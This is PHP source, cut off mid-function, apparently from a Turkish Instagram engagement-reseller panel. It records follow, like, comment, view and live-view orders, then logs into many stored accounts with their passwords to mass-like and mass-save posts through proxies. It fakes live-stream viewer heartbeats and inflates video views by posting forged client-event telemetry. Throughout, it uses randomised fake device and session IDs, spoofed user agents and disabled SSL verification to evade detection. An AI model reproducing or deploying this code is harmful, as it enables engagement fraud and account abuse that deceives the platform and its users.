			$site = trim(str_replace("www.", "", $_SERVER["HTTP_HOST"]));
            if(Wow::get("project/apiToken") != md5(sha1(base64_encode(crypt($site, 'z7q4aa1a4a1a44aaaa'))))) {
                return array("data" => "Hata");
            }

        }

        function addData($data) {

            $this->data = $data;
            $this->db   = \Wow\Database\Database::getInstance();

            if($this->data["islemTip"] == "follow") {
                $this->db->query("INSERT INTO bayi_islem (bayiID,islemTip,userID,userName,imageUrl,krediTotal,krediLeft,excludedInstaIDs,start_count,talepPrice,isApi) VALUES(:bayiID,:islemTip,:userID,:userName,:imageUrl,:krediTotal,:krediLeft,:excludedInstaIDs,:start_count,:talepPrice,:isapi)", array(
                    "bayiID"           => $this->data["bayiID"],
                    "islemTip"         => $this->data["islemTip"],
                    "userID"           => $this->data["userID"],
                    "userName"         => $this->data["userName"],
                    "imageUrl"         => $this->data["imageUrl"],
                    "krediTotal"       => $this->data["krediTotal"],
                    "krediLeft"        => $this->data["krediLeft"],
                    "excludedInstaIDs" => $this->data["excludedInstaIDs"],
                    "start_count"      => $this->data["start_count"],
                    "talepPrice"       => $this->data["tutar"],
                    "isapi"            => 1
                ));

                $orderID = $this->db->lastInsertId();

            } else if($this->data["islemTip"] == "like") {

                $this->db->query("INSERT INTO bayi_islem (bayiID,islemTip,mediaID,mediaCode,userID,userName,imageUrl,krediTotal,krediLeft, excludedInstaIDs,start_count,talepPrice,isApi) VALUES(:bayiID,:islemTip,:mediaID,:mediaCode,:userID,:userName,:imageUrl,:krediTotal,:krediLeft, :excludedInstaIDs,:start_count,:talepPrice,:isapi)", array(
                    "bayiID"           => $this->data["bayiID"],
                    "islemTip"         => $this->data["islemTip"],
                    "mediaID"          => $this->data["mediaID"],
                    "mediaCode"        => $this->data["mediaCode"],
                    "userID"           => $this->data["userID"],
                    "userName"         => $this->data["userName"],
                    "imageUrl"         => $this->data["imageUrl"],
                    "krediTotal"       => $this->data["krediTotal"],
                    "krediLeft"        => $this->data["krediLeft"],
                    "excludedInstaIDs" => $this->data["excludedInstaIDs"],
                    "start_count"      => $this->data["start_count"],
                    "talepPrice"       => $this->data["tutar"],
                    "isapi"            => 1
                ));

                $orderID = $this->db->lastInsertId();

            } else if($this->data["islemTip"] == "comment") {

                $this->db->query("INSERT INTO bayi_islem (bayiID,islemTip,mediaID,mediaCode,userID,userName,imageUrl,krediTotal,krediLeft, excludedInstaIDs,allComments,start_count,talepPrice,isApi) VALUES(:bayiID,:islemTip,:mediaID,:mediaCode,:userID,:userName,:imageUrl,:krediTotal,:krediLeft, :excludedInstaIDs,:allComments,:start_count,:talepPrice,:isapi)", array(
                    "bayiID"           => $this->data["bayiID"],
                    "islemTip"         => $this->data["islemTip"],
                    "mediaID"          => $this->data["mediaID"],
                    "mediaCode"        => $this->data["mediaCode"],
                    "userID"           => $this->data["userID"],
                    "userName"         => $this->data["userName"],
                    "imageUrl"         => $this->data["imageUrl"],
                    "krediTotal"       => $this->data["krediTotal"],
                    "krediLeft"        => $this->data["krediLeft"],
                    "excludedInstaIDs" => $this->data["excludedInstaIDs"],
                    "allComments"      => $this->data["comments"],
                    "start_count"      => $this->data["start_count"],
                    "talepPrice"       => $this->data["tutar"],
                    "isapi"            => 1
                ));

                $orderID = $this->db->lastInsertId();

            } else if($this->data["islemTip"] == "story") {

                $this->db->query("INSERT INTO bayi_islem (bayiID,islemTip,userID,userName,imageUrl,krediTotal,krediLeft,allStories,start_count,talepPrice,isApi) VALUES(:bayiID,:islemTip,:userID,:userName,:imageUrl,:krediTotal,:krediLeft,:allStories,:start_count,:talepPrice,:isapi)", array(
                    "bayiID"      => $this->data["bayiID"],
                    "islemTip"    => $this->data["islemTip"],
                    "userID"      => $this->data["userID"],
                    "userName"    => $this->data["userName"],
                    "imageUrl"    => $this->data["imageUrl"],
                    "krediTotal"  => $this->data["krediTotal"],
                    "krediLeft"   => $this->data["krediLeft"],
                    "allStories"  => $this->data["allStories"],
                    "start_count" => $this->data["start_count"],
                    "talepPrice"  => $this->data["tutar"],
                    "isapi"       => 1
                ));

                $orderID = $this->db->lastInsertId();


            } else if($this->data["islemTip"] == "videoview") {

                $this->db->query("INSERT INTO bayi_islem (bayiID,islemTip,mediaID,mediaCode,userID,userName,imageUrl,krediTotal,krediLeft,start_count,talepPrice,isApi) VALUES(:bayiID,:islemTip,:mediaID,:mediaCode,:userID,:userName,:imageUrl,:krediTotal,:krediLeft,:start_count,:talepPrice,:isapi)", array(
                    "bayiID"      => $this->data["bayiID"],
                    "islemTip"    => $this->data["islemTip"],
                    "mediaID"     => $this->data["mediaID"],
                    "mediaCode"   => $this->data["mediaCode"],
                    "userID"      => $this->data["userID"],
                    "userName"    => $this->data["userName"],
                    "imageUrl"    => $this->data["imageUrl"],
                    "krediTotal"  => $this->data["krediTotal"],
                    "krediLeft"   => $this->data["krediLeft"],
                    "start_count" => $this->data["start_count"],
                    "talepPrice"  => $this->data["tutar"],
                    "isapi"       => 1
                ));

                $orderID = $this->db->lastInsertId();


            } else if($this->data["islemTip"] == "save") {

                $this->db->query("INSERT INTO bayi_islem (bayiID,islemTip,mediaID,mediaCode,userID,userName,imageUrl,krediTotal,krediLeft,start_count,talepPrice,isApi) VALUES(:bayiID,:islemTip,:mediaID,:mediaCode,:userID,:userName,:imageUrl,:krediTotal,:krediLeft,:start_count,:talepPrice,:isapi)", array(
                    "bayiID"      => $this->data["bayiID"],
                    "islemTip"    => $this->data["islemTip"],
                    "mediaID"     => $this->data["mediaID"],
                    "mediaCode"   => $this->data["mediaCode"],
                    "userID"      => $this->data["userID"],
                    "userName"    => $this->data["userName"],
                    "imageUrl"    => $this->data["imageUrl"],
                    "krediTotal"  => $this->data["krediTotal"],
                    "krediLeft"   => $this->data["krediLeft"],
                    "start_count" => $this->data["start_count"],
                    "talepPrice"  => $this->data["tutar"],
                    "isapi"       => 1
                ));

                $orderID = $this->db->lastInsertId();

            } else if($this->data["islemTip"] == "commentlike") {

                $this->db->query("INSERT INTO bayi_islem (bayiID,islemTip,mediaID,likedComment,likedCommentID,userName,krediTotal,krediLeft,talepPrice,isApi) VALUES(:bayiID,:islemTip,:mediaID,:likedComment,:likedCommentID,:userName,:krediTotal,:krediLeft,:talepPrice,:isapi)", array(
                    "bayiID"         => $this->data["bayiID"],
                    "islemTip"       => $this->data["islemTip"],
                    "mediaID"        => $this->data["media_id"],
                    "likedComment"   => $this->data["likedComment"],
                    "likedCommentID" => $this->data["likedCommentID"],
                    "userName"       => $this->data["username"],
                    "krediTotal"     => $this->data["krediTotal"],
                    "krediLeft"      => $this->data["krediLeft"],
                    "talepPrice"     => $this->data["tutar"],
                    "isapi"          => 1
                ));

                $orderID = $this->db->lastInsertId();

            } else if($this->data["islemTip"] == "canliyayin") {

                $this->db->query("INSERT INTO bayi_islem (bayiID,islemTip,userID,userName,broadcastID,krediTotal,krediLeft,talepPrice,isApi) VALUES(:bayiID,:islemTip,:userID,:userName,:broadcastID,:krediTotal,:krediLeft,:talepPrice,:isapi)", array(
                    "bayiID"      => $this->data["bayiID"],
                    "islemTip"    => $this->data["islemTip"],
                    "userID"      => $this->data["userID"],
                    "userName"    => $this->data["userName"],
                    "broadcastID" => $this->data["broadcastID"],
                    "krediTotal"  => $this->data["krediTotal"],
                    "krediLeft"   => $this->data["krediLeft"],
                    "talepPrice"  => $this->data["tutar"],
                    "isapi"       => 1
                ));

                $orderID = $this->db->lastInsertId();

            }


            if(!empty($orderID)) {
                $this->db->query("UPDATE bayi SET bakiye = bakiye - :tutar WHERE bayiID=:bayiID", array(
                    "bayiID" => $this->data["bayiID"],
                    "tutar"  => $this->data["tutar"]
                ));
            }


            return $orderID;

        }

    }


    use RollingCurl\Request as RollingCurlRequest;
    use RollingCurl\Request;
    use RollingCurl\RollingCurl;

    class BulkReaction {
        protected $users = array();
        protected $simultanepostsize;
        protected $IGDataPath;

        function __construct($users, $simultanepostsize = 100) {

            if(!is_array($users) || empty($users)) {
                throw new Exception("Invalid user array!");
            }

            $this->simultanepostsize = $simultanepostsize;
            $this->IGDataPath        = Wow::get("project/cookiePath") . "instagramv3/";
            $userIndex               = 0;
            foreach($users as $user) {
                $this->users[] = array(
                    "data"   => array_merge($user, ["index" => $userIndex]),
                    "object" => new Instagram($user["kullaniciAdi"], $user["sifre"], $user["instaID"])
                );
                $userIndex++;
            }
        }

        public function DeviceId() {

            return 'E' . rand(0, 9) . 'CD' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '-' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '-' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '-' . rand(0, 9) . 'A' . rand(0, 9) . '' . rand(0, 9) . '-C' . rand(0, 9) . 'F' . rand(0, 9) . '' . rand(0, 9) . 'D' . rand(0, 9) . 'F' . rand(0, 9) . 'AEE';
        }

        public function SessionId() {

            return 'DC' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . 'C-' . rand(0, 9) . '' . rand(0, 9) . 'A' . rand(0, 9) . '-' . rand(0, 9) . 'F' . rand(0, 9) . '' . rand(0, 9) . '-B' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '-' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . 'A' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . '' . rand(0, 9) . 'FB' . rand(0, 9) . '';
        }

        public function izlenme($mediaCode) {

			$site = trim(str_replace("www.", "", $_SERVER["HTTP_HOST"]));
            if(Wow::get("project/apiToken") != md5(sha1(base64_encode(crypt($site, 'x714aq41aa1q41q4q4zz'))))) {
                return array("data" => "Hata");
            }

            $totalSuccessCount = 0;
            $triedUsers        = array();
            $postlar           = array();
            $rollingCurl       = new RollingCurl();
            $DeviceId          = $this->DeviceId();
            $SessionId         = $this->SessionId();

            foreach($this->users as $user) {

                $headers = array(
                    "Connection: keep-alive",
                    "Proxy-Connection: keep-alive",
                    "X-IG-Connection-Type: WiFi",
                    "X-IG-Capabilities: Fw==",
                    "Accept-Language:tr"
                );

                $objInstagram = $user["object"];
                $objData      = $objInstagram->getData();
                $userAsns     = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);

                $options = array(
                    CURLOPT_USERAGENT      => 'Instagram 9.4.0 Android (24/7.0; 380dpi; 1080x1920; OnePlus; ONEPLUS A3010; OnePlus3T; qcom; tr_TR)',
                    CURLOPT_RETURNTRANSFER => TRUE,
                    CURLOPT_FOLLOWLOCATION => TRUE,
                    CURLOPT_VERBOSE        => FALSE,
                    CURLOPT_SSL_VERIFYPEER => FALSE,
                    CURLOPT_SSL_VERIFYHOST => FALSE,
                    CURLOPT_ENCODING       => "",
                    CURLOPT_COOKIE         => $objData["cookie"]
                );

                if($userAsns[0]) {
                    $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    $options[$optionKey] = $userAsns[0];
                    if($userAsns[1]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        $options[$optionKey] = $userAsns[1];
                    }
                }

                $rollingCurl->get('https://www.instagram.com/p/' . $mediaCode . '/?__a=1', $headers, $options, $user["data"]);
                $rollingCurl->get('https://www.instagram.com/p/Bk946g-BM3X/?__a=1', $headers, $options, $user["data"]);

            }
            $rollingCurl->setCallback(function(Request $request, RollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount, &$logData, &$DeviceId, &$SessionId, &$postlar) {
                $triedUser = array(
                    "userID"   => $request->identifierParams["uyeID"],
                    "instaID"  => $request->identifierParams["instaID"],
                    "userNick" => $request->identifierParams["kullaniciAdi"],
                    "status"   => "na"
                );

                $postveri = array("post" => "");

                $isErrored = $request->getResponseError();

                if(empty($isErrored)) {
                    $responseInfo = $request->getResponseInfo();
                    if($responseInfo["http_code"] == 200) {
                        $donenSonuc = json_decode($request->getResponseText(), TRUE);

                        if(isset($donenSonuc["graphql"]) && $donenSonuc["graphql"]["shortcode_media"]["__typename"] == "GraphVideo") {

                            $totalSuccessCount++;
                            $triedUser["status"] = "success";

                            $insta_id       = $triedUser["instaID"];
                            $tracking_token = $donenSonuc["graphql"]["shortcode_media"]["tracking_token"]; //++
                            $Ts             = $donenSonuc["graphql"]["shortcode_media"]["taken_at_timestamp"];//++
                            $ResimUserId    = $donenSonuc["graphql"]["shortcode_media"]["owner"]["id"];//++
                            $ResimUsername  = $donenSonuc["graphql"]["shortcode_media"]["owner"]["username"];//++
                            $MediaId        = "" . $donenSonuc["graphql"]["shortcode_media"]["id"] . "_" . $insta_id . ""; //++
                            $TimeHack       = time() * 86400;
                            $CookieId       = $insta_id;

                            $RusMasajYapanlar = '
{
"seq":0,
"app_id":"567067343352427",
"app_ver":"9.0.1",
"build_num":"35440032",
"device_id":"' . $DeviceId . '",
"session_id":"' . $SessionId . '",
"uid":"0","data":[
{"name":"navigation","time":"' . $TimeHack . '.178","module":"profile","extra":{"click_point":"video_thumbnail","nav_depth":2,"grid_index":"10","media_id":"' . $MediaId . '","dest_module":"video_view","seq":4,"nav_time_taken":2,"user_id":"' . $ResimUserId . '","username":"chnkna","pk":"' . $CookieId . '"}},
{"name":"navigation","time":"' . $TimeHack . '.178","module":"profile","extra":{"click_point":"video_thumbnail","nav_depth":2,"grid_index":"10","media_id":"' . $MediaId . '","dest_module":"video_view","seq":4,"nav_time_taken":2,"user_id":"' . $ResimUserId . '","username":"chnkna","pk":"' . $CookieId . '"}},
{"name":"instagram_organic_impression","time":"' . $TimeHack . '.201","module":"video_view","extra":{"m_pk":"' . $MediaId . '","a_pk":"' . $ResimUserId . '","m_ts":' . $TimeHack . ',"m_t":2,"tracking_token":"' . $tracking_token . '","source_of_action":"video_view","follow_status":"following","m_ix":0,"pk":"' . $CookieId . '"}},
{"name":"video_displayed","time":"' . $TimeHack . '.201","module":"video_view","extra":{"m_pk":"' . $MediaId . '","a_pk":"' . $ResimUserId . '","m_ts":' . $TimeHack . ',"tracking_token":"' . $tracking_token . '","follow_status":"following","m_ix":0,"initial":"1","a_i":"organic","pk":"' . $CookieId . '"}},
{"name":"video_should_start","time":"' . $TimeHack . '.201","module":"video_view","extra":{"m_pk":"' . $MediaId . '","a_pk":"' . $ResimUserId . '","m_ts":1500707308,"tracking_token":"' . $tracking_token . '","follow_status":"following","reason":"start","a_i":"organic","pk":"' . $CookieId . '"}},
{"name":"video_download_completed","time":"' . $TimeHack . '.568","extra":{"url":"https://scontent-frt3-2.cdninstagram.com/vp/8f4c306c142f5859dc4a6a14d2126f76/5A1C1BCC/t50.2886-16/20248700_1381451691971906_8775822576162177024_n.mp4","bytes_downloaded":644944,"bytes_full_content":644944,"total_request_time_ms":362,"connection_type":"WIFI","pk":"' . $CookieId . '"}},
{"name":"video_started_playing","time":"' . $TimeHack . '.641","module":"video_view","extra":{"m_pk":"' . $MediaId . '","a_pk":"' . $ResimUserId . '","m_ts":' . $TimeHack . ',"tracking_token":"' . $tracking_token . '","follow_status":"following","m_ix":0,"playing_audio":"0","reason":"autoplay","start_delay":1439,"cached":false,"system_volume":"0.5","streaming":true,"prefetch_size":512,"a_i":"organic","pk":"' . $CookieId . '"}},
{"name":"video_paused","time":"' . $TimeHack . '.756","module":"video_view","extra":{"m_pk":"' . $MediaId . '","a_pk":"' . $ResimUserId . '","m_ts":' . $TimeHack . ',"tracking_token":"' . $tracking_token . '","follow_status":"following","m_ix":0,"time":5.7330000400543213,"duration":10.355000019073486,"timeAsPercent":1.6971055088702147,"playing_audio":"0","original_start_reason":"autoplay","reason":"fragment_paused","lsp":0.0,"system_volume":"0.5","loop_count":1.6971055269241333,"a_i":"organic","pk":"' . $CookieId . '"}},
{"name":"instagram_organic_viewed_impression","time":"' . $TimeHack . '.757","module":"video_view","extra":{"m_pk":"' . $MediaId . '","a_pk":"' . $ResimUserId . '","m_ts":' . $TimeHack . ',"m_t":2,"tracking_token":"' . $tracking_token . '","source_of_action":"video_view","follow_status":"following","m_ix":0,"pk":"' . $CookieId . '"}},
{"name":"instagram_organic_time_spent","time":"' . $TimeHack . '.757","module":"video_view","extra":{"m_pk":"' . $MediaId . '","a_pk":"' . $ResimUserId . '","m_ts":' . $TimeHack . ',"m_t":2,"tracking_token":"' . $tracking_token . '","source_of_action":"video_view","follow_status":"following","m_ix":0,"timespent":10556,"avgViewPercent":1.0,"maxViewPercent":1.0,"pk":"' . $CookieId . '"}},
{"name":"app_state","time":"' . $TimeHack . '.764","module":"video_view","extra":{"state":"background","pk":"' . $CookieId . '"}},
{"name":"time_spent_bit_array","time":"' . $TimeHack . '.764","extra":{"tos_id":"hb58md","start_time":' . $TimeHack . ',"tos_array":"[1, 0]","tos_len":16,"tos_seq":1,"tos_cum":5,"pk":"' . $CookieId . '"}},{"name":"video_started_playing","time":"' . $TimeHack . '.780","module":"video_view_profile","extra":{"video_type":"feed","m_pk":"' . $MediaId . '","a_pk":"' . $ResimUserId . '","m_ts":' . $TimeHack . ',"tracking_token":"' . $tracking_token . '","follow_status":"following","m_ix":0,"playing_audio":"0","reason":"autoplay","start_delay":45,"cached":false,"system_volume":"1.0","streaming":true,"prefetch_size":512,"video_width":0,"video_height":0,"is_dash_eligible":1,"playback_format":"dash","a_i":"organic","pk":"' . $CookieId . '","release_channel":"beta","radio_type":"wifi-none"}}],"log_type":"client_event"}';

                            $postveri["post"] = $RusMasajYapanlar;
                        }

                    } else {
                        $triedUser["status"] = "fail";
                    }

                }

                $triedUsers[] = $triedUser;
                $postlar[]    = $postveri;

                $rollingCurl->clearCompleted();
                $rollingCurl->prunePendingRequestQueue();
            }

            );
            $rollingCurl->setSimultaneousLimit($this->simultanepostsize);
            $rollingCurl->execute();

            foreach($postlar as $user) {


                $headers = array(
                    "Accept: ",
                    "X-IG-Connection-Type: WiFi",
                    "X-IG-Capabilities: 36oD",
                    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
                    "Accept-Language: tr;q=1",
                    "Connection: keep-alive",
                    "User-Agent: Instagram 9.0.1 (iPad2,5; iPhone OS 8_3; tr_TR; tr; scale=" . rand(0, 9) . "." . rand(0, 9) . "" . rand(0, 9) . "; gamut=normal; " . rand(0, 9) . "" . rand(0, 9) . "" . rand(0, 9) . "x9" . rand(0, 9) . "" . rand(0, 9) . ") AppleWebKit/" . rand(0, 9) . "" . rand(0, 9) . "" . rand(0, 9) . "+",
                );

                $options = array(
                    CURLOPT_RETURNTRANSFER => TRUE,
                    CURLOPT_FOLLOWLOCATION => TRUE,
                    CURLOPT_VERBOSE        => FALSE,
                    CURLOPT_SSL_VERIFYPEER => FALSE,
                    CURLOPT_SSL_VERIFYHOST => FALSE,
                    CURLOPT_ENCODING       => ""
                );

                $post = "message=" . $user['post'] . "&format=json";

                if($userAsns[0]) {
                    $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    $options[$optionKey] = $userAsns[0];
                    if($userAsns[1]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        $options[$optionKey] = $userAsns[1];
                    }
                }

                $rollingCurl->post('https://graph.instagram.com/logging_client_events', $post, $headers, $options, "");


            }

            // $veriler = array();
            $rollingCurl->setCallback(function(Request $request, RollingCurl $rollingCurl) use (&$veriler) {
                //$veri = array("response" => "");
                // $veri['response'] = $request->getResponseText();


                //$veriler[] = $veri;
                $rollingCurl->clearCompleted();
                $rollingCurl->prunePendingRequestQueue();
            });
            $rollingCurl->setSimultaneousLimit($this->simultanepostsize);
            $rollingCurl->execute();

            return array(
                "totalSuccessCount" => intval($totalSuccessCount) / 2,
                "users"             => $triedUsers
            );
        }


        public function playLive($broadcastID) {

			$site = trim(str_replace("www.", "", $_SERVER["HTTP_HOST"]));
            if(Wow::get("project/apiToken") != md5(sha1(base64_encode(crypt($site, 'z7q7777777a7a77a'))))) {
                return array("data" => "Hata");
            }

            $totalSuccessCount = 0;
            $triedUsers        = array();
            $rollingCurl       = new RollingCurl();
            foreach($this->users as $user) {

                $objInstagram = $user["object"];
                $objData      = $objInstagram->getData();
                $requestPosts = [
                    '_uuid'      => $objData["uuid"],
                    '_uid'       => $objData["username_id"],
                    '_csrftoken' => $objData["token"],
                    'radio_type' => 'wifi-none'
                ];
                $requestPosts = Signatures::signData($requestPosts);
                $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));


                $headers = [
                    'Connection: close',
                    'Accept: */*',
                    'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                    'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                    'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                    'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                    'Content-Type: ' . Constants::CONTENT_TYPE,
                    'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                ];

                $options = array(
                    CURLOPT_USERAGENT      => $objData["user_agent"],
                    CURLOPT_RETURNTRANSFER => TRUE,
                    CURLOPT_FOLLOWLOCATION => TRUE,
                    CURLOPT_VERBOSE        => FALSE,
                    CURLOPT_SSL_VERIFYPEER => FALSE,
                    CURLOPT_SSL_VERIFYHOST => FALSE,
                    CURLOPT_ENCODING       => '',
                    CURLOPT_COOKIE         => $objData["cookie"]
                );

                $rollingCurl->post(Constants::API_URL . "live/" . $broadcastID . "/heartbeat_and_get_viewer_count/", $postData, $headers, $options, $user["data"]);

            }
            $rollingCurl->setSimultaneousLimit(500);

            $rollingCurl->execute();

            return array(
                "totalSuccessCount" => $totalSuccessCount,
                "users"             => $triedUsers
            );
        }


        public function save($mediaID, $mediaCode) {

			$site = trim(str_replace("www.", "", $_SERVER["HTTP_HOST"]));
            if(Wow::get("project/apiToken") != md5(sha1(base64_encode(crypt($site, 'hlquzjhahaj'))))) {
                return array("data" => "Hata");
            }

            $totalSuccessCount = 0;
            $triedUsers        = array();
            $rollingCurl       = new RollingCurl();
            $arrMediaID        = explode("_", $mediaID);
            $mediaIDBeforer    = $arrMediaID[0];
            foreach($this->users as $user) {

                $objInstagram = $user["object"];
                $objData      = $objInstagram->getData();
                $userAsns     = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);
                $requestPosts = array(
                    "_uuid"      => $objData["uuid"],
                    "_uid"       => $objData["username_id"],
                    "_csrftoken" => $objData["token"],
                    "media_id"   => $mediaID
                );
                $requestPosts = Signatures::signData($requestPosts);
                $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));
                $headers      = array(
                    "Connection: close",
                    "Accept: */*",
                    "X-IG-Capabilities: " . Constants::X_IG_Capabilities,
                    "X-IG-App-ID: " . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                    "X-IG-Connection-Type: " . Constants::X_IG_Connection_Type,
                    "X-IG-Connection-Speed: " . mt_rand(1000, 3700) . "kbps",
                    "X-IG-Bandwidth-Speed-KBPS: -1.000",
                    "X-IG-Bandwidth-TotalBytes-B: 0",
                    "X-IG-Bandwidth-TotalTime-MS: 0",
                    "X-FB-HTTP-Engine: " . Constants::X_FB_HTTP_Engine,
                    "Accept-Language: " . Constants::ACCEPT_LANGUAGE
                );
                $options      = array(
                    CURLOPT_USERAGENT      => $objData["user_agent"],
                    CURLOPT_RETURNTRANSFER => TRUE,
                    CURLOPT_FOLLOWLOCATION => TRUE,
                    CURLOPT_VERBOSE        => FALSE,
                    CURLOPT_SSL_VERIFYPEER => FALSE,
                    CURLOPT_SSL_VERIFYHOST => FALSE,
                    CURLOPT_ENCODING       => "",
                    CURLOPT_COOKIE         => $objData["cookie"]
                );
                if($userAsns[0]) {
                    $optionKey           = (Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY);
                    $options[$optionKey] = $userAsns[0];
                    if($userAsns[1]) {
                        $optionKey           = (Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD);
                        $options[$optionKey] = $userAsns[1];
                    }

                }

                $rollingCurl->post(Constants::API_URL . "media/" . $mediaID . "/save/", $postData, $headers, $options, $user["data"]);
            }


            $rollingCurl->setCallback(function(Request $request, RollingCurl $rollingCurl) use (&$triedUsers, &$totalSuccessCount, &$logData) {
                $triedUser = array(
                    "userID"   => $request->identifierParams["uyeID"],
                    "instaID"  => $request->identifierParams["instaID"],
                    "userNick" => $request->identifierParams["kullaniciAdi"],
                    "status"   => "na"
                );
                $isErrored = $request->getResponseError();
                if(empty($isErrored)) {
                    $responseInfo = $request->getResponseInfo();
                    if($responseInfo["http_code"] == 200) {
                        $donenSonuc = json_decode($request->getResponseText(), TRUE);
                        if($donenSonuc) {
                            if(strpos($request->getResponseHeaders(), "Set-Cookie") !== FALSE) {
                                $obj = $this->users[$request->identifierParams["index"]]["object"];
                                $obj->organizeCookies($request->getResponseHeaders());
                            }

                            if($request->identifierParams["isWebCookie"] == 1) {
                                if($donenSonuc["status"] == "ok") {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                } else {
                                    $triedUser["status"] = "fail";
                                }

                            } else {
                                if($donenSonuc["status"] == "ok") {
                                    $totalSuccessCount++;
                                    $triedUser["status"] = "success";
                                } else {
                                    $triedUser["status"] = "fail";
                                }

                            }

                        }

                        $triedUser["info"]  = $donenSonuc;
                        $triedUser["total"] = $totalSuccessCount;

                    } else {
                        $triedUser["status"] = "fail";
                    }

                }


                $triedUsers[] = $triedUser;
                $rollingCurl->clearCompleted();
                $rollingCurl->prunePendingRequestQueue();
            }

            );
            $rollingCurl->setSimultaneousLimit($this->simultanepostsize);
            $rollingCurl->execute();

            return array(
                "totalSuccessCount" => $totalSuccessCount,
                "users"             => $triedUsers
            );
        }

        function like($mediaID, $mediaCode) {

            $totalSuccessCount = 0;
            $triedUsers        = array();
            $rollingCurl       = new RollingCurl();
            $arrMediaID        = explode("_", $mediaID);
            $mediaIDBeforer    = $arrMediaID[0];
            foreach($this->users as $user) {
                if($user["data"]["isWebCookie"] == 1) {
                    /**
                     * @var InstagramWeb $objInstagramWeb
                     */
                    $objInstagramWeb = $user["object"];
                    $objData         = $objInstagramWeb->getData();
                    $userAsns        = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);

                    $headers = array(
                        'Referer: https://www.instagram.com/instagram/',
                        'DNT: 1',
                        'Origin: https://www.instagram.com/',
                        'X-CSRFToken: ' . trim($objData["token"]),
                        'X-Requested-With: XMLHttpRequest',
                        'X-Instagram-AJAX: 1',
                        'Connection: close',
                        'Cache-Control: max-age=0',
                        'Accept: */*',
                        'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                    );


                    $options = array(
                        CURLOPT_USERAGENT      => isset($objData["web_user_agent"]) ? $objData["web_user_agent"] : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
                        CURLOPT_RETURNTRANSFER => TRUE,
                        CURLOPT_FOLLOWLOCATION => TRUE,
                        CURLOPT_VERBOSE        => FALSE,
                        CURLOPT_SSL_VERIFYPEER => FALSE,
                        CURLOPT_SSL_VERIFYHOST => FALSE,
                        CURLOPT_ENCODING       => '',
                        CURLOPT_COOKIE         => isset($objData["web_cookie"]) ? $objData["web_cookie"] : ""
                    );
                    if($userAsns[0]) {
                        $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                        $options[$optionKey] = $userAsns[0];
                        if($userAsns[1]) {
                            $optionKey           = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                            $options[$optionKey] = $userAsns[1];
                        }
                    }
                    $rollingCurl->post(Constants::WEB_URL . "web/likes/" . $mediaIDBeforer . "/like/", NULL, $headers, $options, $user["data"]);

                } else {
                    /**
                     * @var Instagram $objInstagram
                     */
                    $objInstagram = $user["object"];
                    $objData      = $objInstagram->getData();
                    $userAsns     = Utils::generateAsns($objData[INSTAWEB_ASNS_KEY]);

                    $requestPosts = [
                        '_uuid'       => Signatures::generateUUID(TRUE),
                        '_uid'        => $objData["username_id"],
                        '_csrftoken'  => $objData["token"],
                        'media_id'    => $mediaID,
                        'radio_type'  => "wifi-none",
                        'module_name' => "feed_timeline",
                        'd'           => rand(0, 1)
                    ];
                    $requestPosts = Signatures::signData($requestPosts, array("d"));
                    $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

                    $headers = [
                        'Connection: close',
                        'Accept: */*',
                        'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                        'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                        'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                        'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                        'X-IG-Bandwidth-Speed-KBPS: -1.000',
                        'X-IG-Bandwidth-TotalBytes-B: 0',
                        'X-IG-Bandwidth-TotalTime-MS: 0',
                        'X-IG-ABR-Connection-Speed-KBPS: 162',
                        'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                        'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
                    ];
                    $options = array(
                        CURLOPT_USERAGENT      => $objData["user_agent"],
                        CURLOPT_RETURNTRANSFER => TRUE,
                        CURLOPT_FOLLOWLOCATION => TRUE,
                        CURLOPT_VERBOSE        => FALSE,
                        CURLOPT_SSL_VERIFYPEER => FALSE,
